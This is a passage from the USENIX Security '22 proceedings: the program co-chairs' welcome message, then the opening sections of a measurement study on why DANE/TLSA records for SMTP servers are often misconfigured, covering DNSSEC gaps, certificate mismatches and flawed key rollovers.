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Message from the 
USENIX Security ’22 Program Co-Chairs

On behalf of USENIX, we, the program co-chairs, want to welcome you to the proceedings of the 31st USENIX Security 
Symposium. The 2021–2022 reviewing cycles happened amidst the ongoing COVID-19 pandemic, presenting unique and 
ongoing challenges to both reviewers and authors due to restrictions on travel and work due to illness and significant loss. 
We have been consistently amazed over the last year and a half by the capacity of this community to come together and rise 
above these challenges. It has been our honor to work with everyone who helped make the 31st USENIX Security Symposium 
a reality as a hybrid in-person and virtual event, and we are proud of what we have accomplished together.

We are fortunate to draw upon the rich history of the USENIX Security Symposium and the experiences of many past 
chairs in arriving at a model for building this year’s technical program. In an effort to remove bias and ensure fairness, we 
adopted, as others before us, a double-blind review process. In an effort to address the volume of papers while assuring 
that accepted papers received critical review, we used a two-round process in which papers forwarded to the second round 
received significant additional reviews. Authors whose papers advanced were also provided with the opportunity for a 
rebuttal to correct factual errors in the reviews after reviews were completed. We continued the requirement started in 2021 
to provide reviews from prior submissions (drawn from ACM CCS 2020 CFP, IEEE S&P 2021 CFP). In addition to providing 
the reviews to reviewers, the authors are given the opportunity to explain how they addressed the concerns raised by these 
reviews. To avoid biasing reviewers negatively, the existence and contents of these prior reviews are only revealed after 
reviews submit their feedback, but before any final decisions.

New this year was the creation of a Research Ethics Committee (REC) to address questions or concerns of unmitigated 
ethics considerations flagged by reviewers of submissions. This committee consisted of 15 members drawn from the PC 
with expertise on responsible disclosure, human subjects research, reverse engineering, measurement, and other ethical best 
practices. Members included Joseph Bonneau, Srđan Čapkun, Nicolas Christin, Zakir Durumeric, Manuel Egele, William 
Enck, Thorsten Holz, Patrick Gage Kelley, Sam King, Tadayoshi Kohno, Michelle Mazurek, Sarah Meiklejohn, Mathias 
Payer, Niels Provos, and Franziska Roesner. For papers flagged with potential ethics considerations, two members of the REC 
examined the submission, the associated reviews, and the reviewer discussion (following standard handling of conflicts). 
If an ethical consideration was determined to be present, the entire REC—excluding conflicts—provided feedback and 
provided advice for mitigating the issue. As with the general review process, we provided authors an opportunity to respond 
to ethics concerns to correct any factual errors. In so doing, the REC has helped to establish consistent ethical norms for the 
USENIX community.

These proceedings mark the end of the third full year of the multiple submission model with journal-style revisions. We 
again used a three-deadline model with Summer (June 8, 2021), Fall (October 12, 2021), and Winter (February 1, 2022) 
deadlines. Papers across all three submission cycles were made part of this single yearly proceedings, although pre-prints of 
these papers were available online after each session. A considerable number of papers in this year’s program are the result 
of Major Revision decisions from the previous year’s review cycle (69 in Summer and 20 in Fall). We continued the practice 
this year of having the previous year’s co-chairs coordinating Major Revisions originating during their cycles. In our case, 
we were very fortunate to have last year’s chairs, Michael Bailey (University of Illinois Urbana–Champaign and Georgia 
Institute of Technology) and Rachel Greenstadt (New York University) assigning reviewers, leading discussion, and making 
decisions for the Major Revision papers from the 2020–2021 review cycles. Their excellence and dedication is something 
we aspire to as we work to handle the Major Revision papers from the 2021–2022 season already being evaluated in the 
2022–2023 season.

To implement the review process, we invited members of the community—previous authors, previous PC members, 
community recommendations and referrals, and self-nominations—to participate. Conscious of the very large set of 
submissions received last year, we continued with a large PC this year, comprising 288 members. We sought to assure 
the diversity of PC members in terms of representation, geographical diversity, inclusion of members from industry and 
government, and balancing senior members of the community with those new to USENIX Security. This committee oversaw, 
across the three submission cycles, the largest number of papers ever submitted to USENIX Security—401 in Summer ’22, 
508 in Fall ’22, and 505 in Winter ’22—for a total of 1,414 reviewed submissions. This total does not reflect the total number 
of submitted papers; as chairs, we administratively rejected papers that did not conform to the submission policy prior to 
review by the committee. We are tremendously grateful to the PC, who made a substantial commitment to reviewing across 
three submission cycles and a huge amount of effort, writing 5,197 reviews and engaging in robust discussions generating 
16,344 comments. This reflects tens of thousands of hours of work, without which there would be no way to develop the 
excellent program assembled in these proceedings.



Because of the size of the PC and the length of commitment, invariably issues arise whereby reviewers are unable to serve 
during certain cycles or, because of emergencies and other unplanned circumstances, are unable to perform their reviews. 
To alleviate this issue and ensure high-quality peer reviews, we continued the process started last year of assembling 
a “Reviewer Strike Force,” composed of 11 individuals who agreed to take on last-minute reviews to help converge on 
decisions. This committee consisted of Florian Kerschbaum, Wouter Lueks, Matteo Maffei, Hamed Okhravi, Miroslav Pajic, 
Giancarlo Pellegrino, Bradley Reaves, Brendan Saltaformaggio, Peter Snyder, Ben Stock, and Qiang Zeng. We are grateful 
for your efforts in driving a consensus among reviewers and accommodating last minute review requests.

Our initial plans involved two in-person program committee meetings to build and strengthen the community, with the 
Fall ’22 PC meeting tentatively scheduled to be in Mountain View, California, and the Winter ’22 PC meeting scheduled 
for Zurich, Switzerland, along with the Summer ’22 meeting scheduled virtually over Zoom. Because of logistics and the 
ongoing COVID-19 pandemic, however, we elected to hold all PC meetings over Zoom. The virtual PC meetings provided 
some of their own advantages, enabling some PC members to attend who otherwise would not have been able to. We had 
highly productive meetings, converging on decisions for contentious papers with the aid of the reviewers and the committee 
at large. Given the volume of papers requiring decisions, we limited full PC discussions to ~10% of papers that advanced to 
the second round of reviewing. We are thankful to all attending PC members, particularly those who were in time zones that 
meant attending well outside of regular working hours.

The result of all this process and hard work from the community is before you now. The 2022 proceedings include 256 
accepted papers—the largest in USENIX Security history. We congratulate these authors for producing innovative and 
exciting work and look forward to the impact that these papers will have on our field in the years to come. The acceptance 
rate for the proceedings was 18%. During the process, roughly 54% of new submissions were advanced to the second 
round of reviews. Eight percent of all papers were accepted directly while 16% were given a major revision decision. The 
acceptance rate of major revision papers from the 2020–2021 cycle and 2021–2022 cycle was 85%. In terms of the final 
program, 41% were accepted upon their first submission, and the other 59% after a major revision.

Three important processes engage after the paper outcomes: Artifact Evaluation, Awards, and Posters. For the third year 
running, USENIX Security included an Artifact Evaluation. Special thanks go out to Clémentine Maurice and Cristiano 
Giuffrida for spearheading and updating this important process, with the introduction of three badges and a standard Artifact 
Appendix. A 105-person Artifact Evaluation Committee, assembled by Clémentine and Cristiano, evaluated a total of 114 
artifacts, of which 107 received an ‘Artifact Available’ badge, 98 received an ‘Artifact Functional’ badge, and 65 received a 
‘Results Reproduced’ badge.

The Distinguished Paper Award and Internet Defense Prize process starts with a call for nominations from the community. 
PC-nominated papers along with a small number of chair and Award Committee nominations are passed along to the 
full awards committee for extensive discussion and eventually voting. This year’s Award Committee consisted of Davide 
Balzarotti, Marina Blanton, Srđan Čapkun, Nicholas Carlini, Mathias Payer, and Franziska Roesner. We are grateful for 
their assistance in narrowing down the excellent nominees and selecting the final winners. Finally, a Test of Time Awards 
Committee consisting of Dan Boneh, Srđan Čapkun, Lorrie Cranor, Nick Feamster, Kevin Fu, Fabian Monrose, Paul Van 
Oorschot, David Wagner, Dan Wallach, and Wenyuan Xu examined the history of USENIX Security proceedings to select 
the winners. In addition, we are thankful to Sara Rampazzi for taking on the role of poster chair for this year’s symposium. 
The posters selected this year reflected both new work and papers accepted for publication at the 2020 and 2021 symposia, 
previously held virtually, to provide those authors an opportunity to present their results in person.

Anyone who has had the pleasure to work on the organizing side of a USENIX conference knows that USENIX is a special 
place. We want to thank the entire USENIX team for their help in making this proceedings a reality: Casey Henderson, 
Natalie DeJarlais, Ginny Staubach, Jessica Kim, Liz Markel, Cheryl Fondacaro, Sarah TerHune, Julia Hendrickson, Camille 
Mulligan, Cathy Bergman, Mo Moreno, Jasmine Murcia, Arnold Gatilao, Olivia Vernetti, and Nicole Santiago. A special 
shout out goes to the Production team for helping us turn a set of submissions into a proceedings and a program. We want 
to thank William Enck for serving as our USENIX Board liaison and working to address issues that required a more macro 
lens. Finally, we wish to express our appreciation to Casey Henderson for her leadership as USENIX Executive Director 
and for helping to smooth over the increasingly complex process of coordinating decisions across thousands of submissions, 
authors, and review hours.

In closing, we want to express our immeasurable gratitude to the community without whom these proceedings would not 
be possible. As we hand the torch over to next year’s chairs, Joe Caladrino (US Federal Trade Commission) and Carmela 
Troncoso (École Polytechnique Fédérale de Lausanne), we know we leave you in excellent hands. We wish you all health and 
happiness now and in the years to come.

Kevin Butler, University of Florida 
Kurt Thomas, Google 
USENIX Security ’22 Program Co-Chairs
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Abstract
The DNS-based Authentication of Named Entities (DANE)
is an Internet security protocol that enables a TLS connection
without relying on trusted third parties like CAs by introduc-
ing a new DNS record type, TLSA. DANE leverages DNSSEC
PKI to provide the integrity and authenticity of TLSA records.
As DANE can solve security challenges in SMTP, such as
STARTTLS downgrade attacks and receiver authentication,
it has been increasingly deployed surpassing more than 1 M
domains with SMTP servers that have TLSA records. A recent
study, however, reported that there are prevalent misconfigu-
rations on DANE SMTP servers, which hinders DANE from
being proliferated.

In this paper, we investigate the reasons why it is hard to
deploy and manage DANE correctly. Our study uses large-
scale, longitudinal measurements to study DANE adoption
and management, coupled with a survey of DANE opera-
tors, some of which serve more than 100 K domains. Overall,
we find that keeping the TLSA records from a name server
and certificates from an SMTP server synchronized is not
straightforward even when the same entity manages the two
servers. Furthermore, many of the certificates are configured
to be reissued automatically, which may result in invalid TLSA
records. From surveying 39 mail server operators, we also
learn that the majority keeps using CA-issued certificates,
despite this no longer being required with DANE, since they
are worried about their certificates not being trusted by clients
that have not deployed DANE. Having identified several oper-
ational challenges for correct DANE management, we release
automated tools and shed light on unsolved challenges.

1 Introduction

With Public Key Infrastructure (PKI), Transport Layer Secu-
rity (TLS) provides secure channels over the Internet. To this
end, typically, Certificate Authorities (CAs) publish certifi-
cates, and the certificates are validated hierarchically, from
the root to the leaf certificate.

However, the current CA-based PKI model has a funda-
mental vulnerability. CAs can issue certificates for any do-
main name, and many CAs exist; we have no choice but to
trust that all of them issue certificates appropriately. History
shows this trust has been broken a number of times. Several
CAs were compromised and mis-issued fraudulent certifi-
cates [17, 27]. Some CAs even issued fake certificates inten-
tionally [28,44,57]. These incidents shook the faith in the PKI
model. Several protocols [25, 32, 35] propose mitigations for
these problems. However, none of these solutions eliminate
the root causes; the public CA model still allows any CA to
issue a certificate for any domain name.1

The DNS-based Authentication of Named Entities (DANE)
protocol [18,30] was proposed in 2012 to augment or replace
the use of trusted public CAs. The key idea of DANE is to
leverage the Domain Name System (DNS). To use DANE,
a domain owner can publish his TLS server’s certificate (or
public key) as a DNS record, called a TLSA record, to his DNS
server. This TLSA record must be signed by the DNS Security
Extensions (DNSSEC) [4–6] to guarantee its integrity. Since
only a domain owner can manage DNS records of its domain,
publishing TLSA records binds the domain and the certificate
(or public key) of its TLS server. Thus, TLS clients can easily
authenticate a TLS server by (i) fetching TLSA records from
the domain’s DNS server, (ii) validating their DNSSEC signa-
tures to check the integrity and authenticity, and (iii) checking
whether the TLSA records are consistent with the certificates
from the TLS server, without relying on CAs.

Due to its simple but robust security guarantees, there have
been a number of attempts to deploy DANE for numerous
web applications such as HTTPS. However, it has never been
adopted to validate the certificates of web servers because it
introduces additional delays for browsers to fetch DNSSEC
and TLSA records. It is also widely known that middleboxes
may discard some DNS records such as TXT and RRSIG [34,

1The DNS Certification Authority Authorization (CAA) record [32] al-
lows a domain name owner to specify the CAs authorized to issue certificates
for the domain. When the record does not exist, however, it allows all CAs to
issue certificates by default.
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43], which hinders clients (i.e., browsers) from fetching TLSA
records for validation.

Fortunately, DANE has begun to be deployed by email
service providers for their SMTP services, because it can
effectively solve security challenges that SMTP faces such
as STARTTLS downgrade attacks [20] and SMTP service is
more tolerant to millisecond-order additional delays.

A recent study [36] showed that popular email service
providers such as Comcast and mail.com support DANE for
their outgoing mails. Also, the .nl and .se top-level domains
show relatively high DANE deployments (9.7% and 38.2%
each) compared to .com, .net, and .org (less than 1%). This
practice is partially due to the fact that some registries provide
financial incentives to domains that deploy DANE [48, 54].
Also, the Dutch and German governments mandate DANE
for certified mail service providers in their countries [2, 8].

However, another finding in that study is that server-side
misconfigurations often make DANE validations fail in SMTP.
First, 15% of SMTP servers that deploy TLSA records are not
protected by DNSSEC that is necessary for the integrity of
DNS records. Even though TLSA records are signed, 20% of
the corresponding DNS servers do not upload DS records to
their parent zones (so-called partial deployment). The work
also showed the second reason for misconfigurations: many
SMTP servers have certificates that are not consistent with
the corresponding TLSA records; however, the reason for the
inconsistency was not discussed.

In this paper, we present a longitudinal and comprehensive
study of DANE in SMTP by observing all related entities
needed to correctly operate DANE. We take hourly snapshots
of DNS records from all of the second-level domains from
.com, .net, .org, and .se for 20 months and collect their
certificates. We also interview 39 DANE administrators to
understand how they manage DANE and the challenges they
face for their management. Coupled with the datasets, we
draw a complete picture of the operational challenges for
managing DANE.

In this paper, we make the following contributions:

• 99% of domains that outsource their SMTP servers manage
DANE correctly. However, the invalid ratio jumps to more
than 30% when SMTP servers are self-managed.

• In line with [36], DNSSEC is still a problem; the major-
ity of TLSA records (99%) that experience DNSSEC val-
idation issues are missing DS records. We also find that
mismatches between TLSA records and corresponding cer-
tificates are prevalent (20%). We discover that many of
these mismatched TLSA records (70%) actually match with
outdated certificates of SMTP servers, which implies that
the mismatches came from incorrect key rollovers.

• Most SMTP servers (87∼92%) incorrectly roll over their
keys at least once regardless who manages the SMTP or
name server; for example, more than (72∼84%) of SMTP
servers change their public keys and corresponding TLSA

records without considering the TTL of DNS caches.

• We observe that the current DANE ecosystem still relies on
the CA-based PKI model. More than 94% of SMTP servers
that deploy TLSA records use CA-issued certificates. We
also find that this reliance causes unexpected failures in
DANE management when TLSA records are not updated on
time due to automatically reissued certificates from CAs.

• The survey of DANE administrators shows the reasoning
behind DANE deployment and management: major reasons
for DANE deployment are preventing STARTTLS stripping
attacks and not trusting CAs; however, we still observe that
the majority of domains that deploy DANE use CA certifi-
cates due to the compatibility with other SMTP servers not
supporting DANE.

Our analysis reveals how DANE in the email system is
managed and the reasons for mismanagement. On a more pos-
itive note, our findings demonstrate several areas of improve-
ment where management of the DANE PKI can be automated
and audited. To this end, we publicly release all of our code,
datasets and survey answers to the research community at

https://dane-study.github.io

for other administrators and researchers to reproduce and
benefit from our work.

2 Background

DNS and DNSSEC DNS associates various information
(e.g., A records, MX records) with domains. DANE uses DNS
to store the binding information between an identity of an
entity and its public key. However, DNS does not provide
security in its initial design; the integrity of DNS records is
not guaranteed, which makes DNS vulnerable to attacks like
DNS spoofing [11, 51]. Thus, the DNS Security Extensions
(DNSSEC) [4–6] were proposed to provide the authentication
and integrity of DNS records. For this purpose, three new
DNS records were introduced:

• DNSKEY records contain public keys used to sign DNS
records.

• RRSIG records contain a digital signature of DNS records
generated by the private keys corresponding to public keys
in DNSKEY records.

• DS records contain a digest of DNSKEY records, which are
uploaded to the parent DNS zone to form a chain of trust.

Along with the new records, a domain now has three val-
idation states [5]: (1) secure where a domain is equipped
with all cryptographically correct DNSSEC-related records
in the above, (2) insecure where a domain is unsigned or
does not have a chain of trust (i.e., absence of DS records),
and thus cannot be verified regardless of DNSKEYs (or RRSIGs)
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records, (3) bogus where a domain has a chain of trust, but its
DNS records are cryptographically invalid. A prior study [12]
found that missing DS records are a common mistake among
many DNS operators by showing that 30% of .com, .org, and
.net domains with DNSKEYs do not have the corresponding
DS records.

TLSA records DANE uses TLSA records to provide infor-
mation that can verify the certificate of an application running
on the domain. There can be multiple applications running on
the same domain with different port numbers, and thus a TLSA
record represents a port number, a protocol (i.e., TCP or UDP),
and a base domain. For example, to request a TLSA record for
an SMTP server of which the MX record is mail.foo.com, the
derived domain must be _25._tcp.mail.foo.com. A TLSA
record consists of four fields:

• Certificate Usage specifies how to verify certificates
(or public keys) from TLS servers (e.g., SMTP server with
STARTTLS). There are 4 usages depending on whose cer-
tificate is used (TA/EE) and whether PKIX validation is
required (PKIX/DANE). The first two usages allow certifi-
cates from trusted CAs. Thus, a TLS server must provide a
certificate chain that passes PKIX validation using root cer-
tificate stores. (i) PKIX-TA (Certificate Usage 0) allows
using a root or intermediary CA’s certificate. (ii) PKIX-EE
(Certificate Usage 1) allows using leaf certificates is-
sued by trusted CAs. In contrast, the next two usages do
not require PKIX validation. (iii) DANE-TA (Certificate
Usage 2) allows using any certificate of a root or inter-
mediate trust anchor (TA). Thus, a server must provide a
certificate chain, including a TA’s (possibly self-signed)
certificate, which can verify the server’s leaf certificate.
(iv) DANE-EE (Certificate Usage 3) allows using leaf
certificates that can be self-signed; The DANE RFC [18]
recommends using DANE-TA and DANE-EE since PKIX CAs
offer no additional security for DANE in SMTP.

• Selector specifies whether the entire certificate or only
the public key will be selected as Certificate Association
Data.

• Matching Type specifies how to represent the selected
certificate part. The original value, SHA-256 hash, or SHA-
512 hash of the selected data can be used.

• Certificate Association Data contains the processed
data depending on the above fields.

SMTP and STARTTLS The Simple Mail Transfer Proto-
col (SMTP) is a standard for email transmissions. However,
SMTP has no security features in its initial design; for ex-
ample, it sends emails in cleartext (no confidentiality). The
STARTTLS extension [29] was proposed to transfer emails
securely by using a TLS connection. An SMTP server can
send the STARTTLS command in cleartext during the SMTP
connection setup to express its TLS support to the client.

Figure 1: DANE management cases are classified depend-
ing on who manages the SMTP server and the name server.
(a) SMTP server is outsourced (SO), (b) SMTP server is self-
managed but name server is outsourced (SSDO), and (c) both
SMTP server and name server are self-managed (SSDS). Note
that the name server that serves the TLSA record is also out-
sourced if the SMTP server is outsourced.

However, this has two main security problems: First, as the
STARTTLS command is sent as cleartext, it is vulnerable to
downgrade attacks to prevent TLS negotiation by stripping the
command [20]. Second, the STARTTLS standard [29] does
not define what to do when the STARTTLS certificate is not
valid, thus making many TLS clients not even attempt to vali-
date the certificate [20]. With DANE, such downgrade attacks
can be mitigated since the presence of TLSA records for an
SMTP server are an explicit signal of STARTTLS support.2

How to deploy DANE SMTP The key elements for DANE
are a TLSA record and its corresponding certificate. For suc-
cessful DANE deployment, an SMTP server must take three
steps. First of all, the base domain that serves TLSA records
must have all necessary and correct DNSSEC records, making
its validation status secure. Second, it must have a certifi-
cate, which is provided through an SMTP connection; the
certificate may be self-signed or signed by another signing
certificate. Third, it has to generate a TLSA record matched
with the certificate; depending on the Certificate Usage,
the administrator may want it to be matched with the signing
certificate (in case of DANE-TA or PKIX-TA usage) or matched
with the leaf certificate (in case of DANE-EE or PKIX-EE us-
age).

Where to deploy DANE SMTP At first glance, deploying
DANE for an SMTP server seems straightforward because
what the domain owner needs to do is to keep its certificate
and TLSA record consistent.

However, it can become a bit tricky when the certificate
and its corresponding TLSA record are managed by two differ-
ent entities; domain owners may run both SMTP servers and

2Note that a domain serving TLSA records has to be DNSSEC-signed to
support DANE. Thus, when TLSA records are not available in a given domain,
the proof of non-existence such as NSEC and NSEC3 must be provided. This
makes it impossible for man-in-the-middle attackers to simply drop the TLSA
records for downgrade attacks.
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name servers by themselves, but they can also choose to out-
source their management to a popular email hosting provider
(for their SMTP servers) and/or an external DNS operator (for
their name servers). Thus, in practice, a domain owner has
three options to deploy and manage DANE as illustrated in
Figure 1.

First, a domain owner (e.g., example.com) may choose a
popular email hosting provider (e.g., one.com) to outsource
the SMTP server (labeled as SO). Typically, this is done
by serving an MX record that delegates to an email hosting
provider (e.g., mx1.one.com) such as

mx.example.com 600 IN MX 10 mx1.one.com.

Even though the MX record is served from the name server that
the base domain name uses, the TLSA record will be fetched
from the name server managed by the hosting provider be-
cause a TLSA record is bound to an MX record. Thus, when
a domain outsources its email services to a DANE-enabled
SMTP hosting provider, the provider manages both the cer-
tificate and its TLSA record. Thus, choosing a popular email
hosting provider that can deploy TLSA records is an easy and
effective way to support DANE. However, domain owners
lose control over managing DANE because they neither man-
age a certificate nor TLSA records.

Second, domain owners may run and manage their SMTP
servers by themselves. For their name servers, they can either
(1) outsource to a popular DNS operator such as Cloudflare or
their registrar’s default name server (labeled as SSDO) or (2)
manage it by themselves (labeled as SSDS). In the first case, a
domain owner has the responsibility to give the outsourcing
DNS operator the correct TLSA record, which matches with
the STARTTLS certificate that is used to encrypt the SMTP
connection. Thus, it might be problematic if the domain own-
ers are not familiar with how to generate TLSA records (when
they update their certificates) or how to give the generated
TLSA records to their outsourcing DNS operators since mis-
matched TLSA records result in DANE validation failures.
Furthermore, a recent study [13] showed that not all registrars
support DNSSEC when the domain owners themselves are
the DNS operator, making it impossible to deploy DANE due
to missing DS records.

Why DANE validation fails In general, validating a TLSA
record fails due to two reasons:

• insecure or bogus DNSSEC: DANE validation mandates
correct DNSSEC deployment. When a DANE-validating
client finds a TLSA record to be insecure, it ignores the
TLSA record and concludes that the SMTP server does not
support DANE, which brings all of the STARTTLS vulner-
abilities back.3 When the TLSA record is determined to be

3There is a debate whether we have to regard an insecure TLSA record
as an invalid TLSA record or not [19]; as DANE mandates full DNSSEC
deployment and a validator considers insecure TLSA records unusable, we
regard it as an invalid TLSA record. For clarity, however, we also provide

bogus, the client is expected to abort the SMTP connection
immediately.

• Mismatched TLSA records: this happens when the certificate
and its corresponding TLSA record do not match. A previous
study [36] found that about 4% of TLSA records could not
be validated due to such a mismatch, but the root causes
were not investigated, which motivates this paper.

3 Related Work

In this section, we discuss related studies about security pro-
tocols for SMTP encryption and the DANE ecosystem.

SMTP encryption SMTP does not encrypt its messages
itself. Thus, the STARTTLS extension [29] was first intro-
duced for email encryption. Several studies [20, 26, 31, 56]
reported that STARTTLS is widely deployed. However, they
also found widespread mismanagement of STARTTLS; 70%
of the collected STARTTLS certificates cannot be authenti-
cated due to misconfigurations. This is somewhat expected
because STARTTLS does not specify what to do for invalid
STARTTLS certificates. Recently, Poddebniak et al. [50] also
revealed security vulnerabilities of STARTTLS such as com-
mand injection and credential stealing in SMTP, POP3 [42]
and IMAP [10] protocols, which are largely due to additional
but vague negotiation processes. To overcome these limi-
tations, MTA-STS was also proposed to authenticate email
servers and encrypt email messages [41]. Compared to DANE,
it is simpler to deploy MTA-STS by leveraging TXT records.
However, it is still vulnerable to MITM attacks as it does not
mandate DNSSEC.

Ecosystem of DANE Zhu et al. [59] measured the DANE
deployment in 2015 by focusing on SLDs of .com and .net;
they found that only 997 domains out of 485k signed domains
have TLSA records; 13% of them were invalid. Recently, Lee
et al. [36] focused on the deployment of DANE for SLDs with
MX records in five TLDs and popular mail service providers
in 2020. The paper showed a slow but gradually increasing
DANE deployment rate; less than 1% of second-level domains
of .com, .net, and .org deployed TLSA records. However,
.nl and .se had deployed DANE relatively aggressively due
to financial incentives from the registries. Also, they reported
that 3.6% of TLSA records were not matched with the cor-
responding certificates, thus making them invalid. However,
they could not find the root causes.

Considering DANE is still in the early stage, some ef-
forts have been made to keep track of its deployment or to
provide debugging tools for DANE administrators. For ex-
ample, the NL registry (SIDN) and Dukhovni et al. publish
DANE deployment statistics on websites based on their ac-
tive scans and present SMTP DANE validation results on a

the details of the invalid reasons of a TLSA record for the rest of the paper
whenever we analyze them.
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TLD Measurement
Period

Domains MX records
All Incorrect All Incorrect

.com
2019/07/13

∼ 2021/02/12

707,365 0.51% 12,323 22.20%
.net 75,921 1.06% 2,604 20.97%
.org 61,844 1.25% 1,988 18.76%
.se 363,192 0.01% 354 7.91%

Table 1: The number of SMTP servers and domains that have
TLSA records, and the percentage of DANE failures of SMTP
servers and domains are shown as of February 12th, 2021.

daily basis [52, 53]. Also, there are web-based DANE valida-
tion tools [16, 21, 22] that can help administrators debug and
configure TLSA records.

Our study extends these prior works in two ways. First,
we focus on why there are prevalent cases of mismanage-
ment in SMTP DANE by leveraging the longitudinal datasets
collected by our active measurement and the comprehensive
survey from email service providers. Second, we find that the
mismanagement is mainly due to the lack of automated tools
for key management such as key rollovers. Hence, we design
and implement a prototype of automated tools for DANE key
management and discuss the potential operational challenges
in practice.

4 Datasets

In this section, we present the data we collected, and analyze
how DANE is deployed and operated.

4.1 DNS records and certificates

Our goal is to understand how DANE has been deployed and
how well it is managed.

Daily Scans: DNS records We rely on DNS scans from
four TLDs provided by OpenINTEL [49]: the .com, .net, and
.org gTLDs and .se ccTLD. We choose three gTLDs (.com,
.net, and .org) because they are the largest TLDs, and one
ccTLD (.se) as Sweden shows the highest rate of DANE
deployment [36]. For each of the four TLDs, OpenINTEL first
obtains daily zone files from their registries (.com and .net
from Verisign, .org from Public Internet Registry, .se from
Internetstiftelsen) to obtain Name Server (NS) and Delegation
Signer (DS) records for all second-level domains (SLDs). For
each of these SLDs, OpenINTEL also collects DNS records
from the authoritative name servers, which include A, MX,
TLSA, DNSKEYs and RRSIG records.

Hourly Scans: DNS records and STARTTLS certifi-
cates The daily snapshots may be sufficient for under-
standing DANE behaviors in the SMTP protocol at a coarse
granularity, but they have two limitations. First, SMTP servers
with TLSA records do not necessarily mean that they support

DANE correctly; for example, they may not support START-
TLS, may not present certificates during the STARTTLS hand-
shake, or may present certificates that do not match with TLSA
records, all of which make DANE validations fail. Second,
the daily scan cannot capture the dynamics of DNS records at
a timescale shorter than one day. We calculate the distribution
of the TTL values of TLSA records across the entire daily
dataset, and find that 93% of the TTLs of TLSA records are
less than 1 day, which indicates that we would not capture
their dynamics such as the changes of their certificate and
TLSA records if we rely on the daily scan. To overcome these
limitations, we collect the second dataset by (1) initiating an
SMTP connection using collected MX records through SMTP
port number 25, (2) sending the STARTTLS command to up-
grade an SMTP connection with TLS, and (3) fetching the
certificates every hour. We also collect their TLSA records and
DNSSEC-related records every hour, and conduct DANE val-
idation as well. In total, our snapshots span 20 months from
July 13th, 2019 to February 12th, 2021, which is summarized
in Table 1.

4.2 Overall DANE support

A recent study [36] reported that DANE had been increasingly
deployed around 2019 as a few large email hosting providers
enabled DANE support. For example, it showed that the per-
centage of domains with MX records that have TLSA records
increased from 0.1% to 0.6% for .com domains and from
0% to 38.2% for .se domains from October 2017 to Octo-
ber 2019.

As our dataset partially overlaps with the one in [36], we
can quickly revisit the trend; Table 1 shows the number and
the percentage of domains and SMTP servers that deployed
DANE. We can confirm the accelerated deployment; for ex-
ample, the deployment rate increased from 0.6% to 0.97% for
.com domains and from 28.41% to 41.57% for .se domains
from July 2019 [36] to February 2021. When validating their
TLSA records, however, we find that DANE validation failures
are widespread across the SMTP servers; for example, the
percentage of SMTP servers with invalid TLSA records is over
22% when they serve domains in .com. Fortunately, the per-
centage of impacted domains is not as high as that of SMTP
servers (e.g., 0.51% in .com domains) since the outsourced
SMTP operators support DANE without failures.

To understand the potential reasons behind this widespread
unsuccessful DANE deployment, we first examine the correla-
tion between the popularity of DANE-enabled SMTP servers
in terms of the number of serving domains and their validation
status. Figure 2 shows the CDF of the number of domains
served by DANE SMTP servers that serve x domains in our
latest snapshot. We make two observations.

First, we notice a disparity between DANE-valid and
DANE-invalid SMTP servers in terms of the number of do-
mains that each SMTP server serves; the incorrectly config-
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Figure 2: CDF of the number of domains served by DANE
SMTP servers for valid and invalid TLSA records as of Febru-
ary 12, 2021.

ured DANE SMTP servers that serve only a single domain
name take up 45% of the total domains and the largest in-
correctly configured SMTP server serves only 667 domains.
On the other hand, when focusing on the DANE-valid SMTP
servers, we see that 90% of DANE-valid domains are served
by popular SMTP servers that have more than 10,000 do-
mains. It is highly likely that these domain names outsource
their email services to popular email hosting providers. For
instance, one.com serves more than 600,000 domains.

Recall that a name server responsible for TLSA records and
an SMTP server providing the actual certificate for START-
TLS have to be managed consistently to support DANE cor-
rectly, this result may suggest that the quality of DANE man-
agement could be different depending on the two entities
that manage the name server and SMTP server, respectively.
Hence, to better understand why and how DANE validation
fails, we now turn our attention to examine who manages DNS
and SMTP servers for domains that support DANE SMTP.

5 DANE Quality vs. Managing Entity

5.1 Determining Managing Entities

Identifying whether a domain name outsources a name server
(for TLSA records) or an SMTP server (for email service over
STARTTLS) is not straightforward because the only pub-
licly available information is its DNS records such as MX,
NS, TLSA and their A records. One possible approach is to
leverage WHOIS, but there are several challenges. First, a
domain name, its MX records and NS records can be different
from one another when the domain name outsources either
the SMTP server or name server or both. Thus, we have to
collect all registrar information of each domain name, MX
and NS records, but the WHOIS infrastructure is heavily rate-
limited and notoriously inconsistent [37]. Moreover, many
domains are registered through privacy-preserving services
that hide domain registrant information such as email address
and name, which makes it challenging to identify whether the
domain names (i.e., the RDATA fields in MX and NS records)

are owned by the same entity [9].
To overcome these challenges, we apply two techniques.

We first focus on the popularity of the MX or NS records of
domains. Our high-level intuition is that the MX records or
NS records that map many domains such as more than 50
domains are highly likely to be email hosting providers (for
MX records) or external DNS operators (for NS records). In
general, popular email hosting providers and external DNS
operators manage multiple NS records and MX records with the
same SLDs, respectively. For instance, the RDATA fields in NS
records are mx[1-4].one.com. Thus we first group the SLDs
of MX records and NS records, respectively, and check whether
each domain name uses popular SMTP or name servers. This
reveals that 1,193,961 (96.6%) domains rely on email hosting
providers and 1,210,413 (97.9%) domains outsource DNS
servers; each of these email hosting providers and outsourced
DNS servers serves at least 50 domains. This confirms our
findings in Figure 2 that the majority of domains with TLSA
records are served by popular SMTP servers.

However, we notice that this finding is not enough to iden-
tify which domains outsource their SMTP servers. We find
some corner cases where email hosting providers assign a
unique MX record to their customers, but each of the MX records
is mapped to the same IP address of the SMTP servers man-
aged by the email hosting providers. A prominent example is
Antagonist, which assigns a unique MX record to their cus-
tomers such as mail.foo.com and mail.bar.com for their
two customers, foo.com and bar.com. However, we find that
all of their MX records are mapped to the same set of IP
addresses from the same set of name servers managed by
Antagonist4. This indicates that they outsource their SMTP
servers to Antagonist. Thus, to prevent them from being mis-
classified as self-managed domains, we also group the MX
records by their resolved IP address, which are classified as
outsourced if the number of domains relying on the same
IP address is over 50. This gives us an extra 20,707 (1.7%)
domains that are found to outsource their SMTP servers.

Identifying self-managed domains is not straightforward
because unpopular MX or NS records do not necessarily
mean that they manage their own SMTP servers or name
servers. To identify them accurately, we focus on the do-
mains that share the same SLD with their MX records (for
SMTP self-management) or NS records (for nameserver self-
management). In such cases, these domains are highly likely
to manage their SMTP and name servers by themselves since
their owners are identical. Using this methodology, we find
that 6,408 (0.5%) domains self-manage their SMTP servers
and 3,365 (0.3%) domains self-manage their DNS servers.

We exclude the rest of the domains—15,052 (1.2%) do-
mains for their MX records and 22,350 (1.8%) domains for
their NS records—from further analyses. After that, we clas-
